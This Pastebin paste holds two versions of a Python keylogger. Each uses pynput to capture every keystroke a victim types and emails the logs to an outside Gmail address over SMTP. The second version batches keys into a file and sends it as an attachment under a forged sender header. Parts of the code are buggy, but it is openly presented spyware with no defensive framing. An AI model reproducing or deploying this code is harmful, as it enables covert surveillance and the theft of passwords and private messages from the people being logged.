Advertisement
Guest User

Untitled

a guest
Sep 30th, 2017
454
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.55 KB | None | 0 0
  1. from pynput import keyboard
  2. import smtplib
  3.  
  4.  
  5. events = []
  6.  
  7. def on_press(key):
  8. try:
  9. ('{0}'.format(key.char))
  10. events.append(key)
  11. print(events)
  12.  
  13.  
  14. except AttributeError :
  15. print('{0}'.format(key))
  16.  
  17.  
  18.  
  19.  
  20.  
  21. def on_handling():
  22. global events
  23. if len(events) == 1:
  24. on_send()
  25. else:
  26. on_press()
  27.  
  28.  
  29.  
  30.  
  31.  
  32. def on_send():
  33. server = 'smtp.gmail.com'
  34. port = 587
  35. smtp = smtplib.SMTP(server,port)
  36. smtp.ehlo()
  37. smtp.starttls()
  38. smtp.login("iamahacker@gmail.com","ihacktheworld2017")
  39. smtp.sendmail("iamahacker@gmail.com","hacktheworld18@gmail.com",events)
  40. smtp.close()
  41. events = []
  42.  
  43. with keyboard.Listener(on_press = on_press) as listener:
  44. listener.join()
  45.  
  46.  
  47. on_handling()
  48.  
  49. from pynput import keyboard
  50. import smtplib
  51. import base64
  52. import os
  53.  
  54. events = []
  55. FROM = youruser@gmail.com'
  56. MARKER = 'KEY'
  57. TO = receiver@gmail.com'
  58.  
  59. def on_press(key):
  60. global keylogger
  61. keylogger = 'keylogger.txt'
  62. try:
  63. # ('{0}'.format(key.char))
  64. events.append(key)
  65. print(events)
  66. except AttributeError:
  67. print('{0}'.format(key))
  68. if len(events) == 20:
  69. file = open(keylogger, 'w')
  70. for i in events:
  71. file.write(str(i))
  72. file.close()
  73. on_send(keylogger)
  74.  
  75.  
  76.  
  77.  
  78. def on_handling():
  79. global events
  80. if len(events) == 1:
  81. on_send()
  82. else:
  83. on_press()
  84.  
  85.  
  86.  
  87.  
  88.  
  89. def on_send(filename):
  90. fo = open(filename, "rb")
  91. filecontent = fo.read()
  92. # encodedcontent = base64.b64encode(filecontent
  93. encodedcontent = filecontent
  94. filename = os.path.basename(filename)
  95.  
  96. body = """
  97. This is the key, check it.
  98. """
  99.  
  100. # Define the main headers.
  101. part1 = """From: Matt Vincent <matt.vincent@jax.org>
  102. To: %s
  103. Subject: Sending Attachment
  104. MIME-Version: 1.0
  105. Content-Type: multipart/mixed; boundary=%s
  106. --%s
  107. """ % (TO, MARKER, MARKER)
  108.  
  109. # Define the message action
  110. part2 = """Content-Type: text/plain
  111. Content-Transfer-Encoding:8bit
  112.  
  113. %s
  114. --%s
  115. """ % (body, MARKER)
  116.  
  117. # Define the attachment section
  118. part3 = """Content-Type: multipart/mixed; name="%s"
  119. Content-Transfer-Encoding:base64
  120. Content-Disposition: attachment; filename=%s
  121.  
  122. %s
  123. --%s--
  124. """ % (filename, filename, encodedcontent, MARKER)
  125.  
  126. message = part1 + part2 + part3
  127.  
  128. server = 'smtp.gmail.com'
  129. port = 587
  130. smtp = smtplib.SMTP(server,port)
  131. smtp.ehlo()
  132. smtp.starttls()
  133. smtp.login(FROM, "password")
  134. smtp.sendmail(FROM, TO, message)
  135. smtp.close()
  136.  
  137. with keyboard.Listener(on_press = on_press) as listener:
  138. listener.join()
  139.  
  140.  
  141. on_handling()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement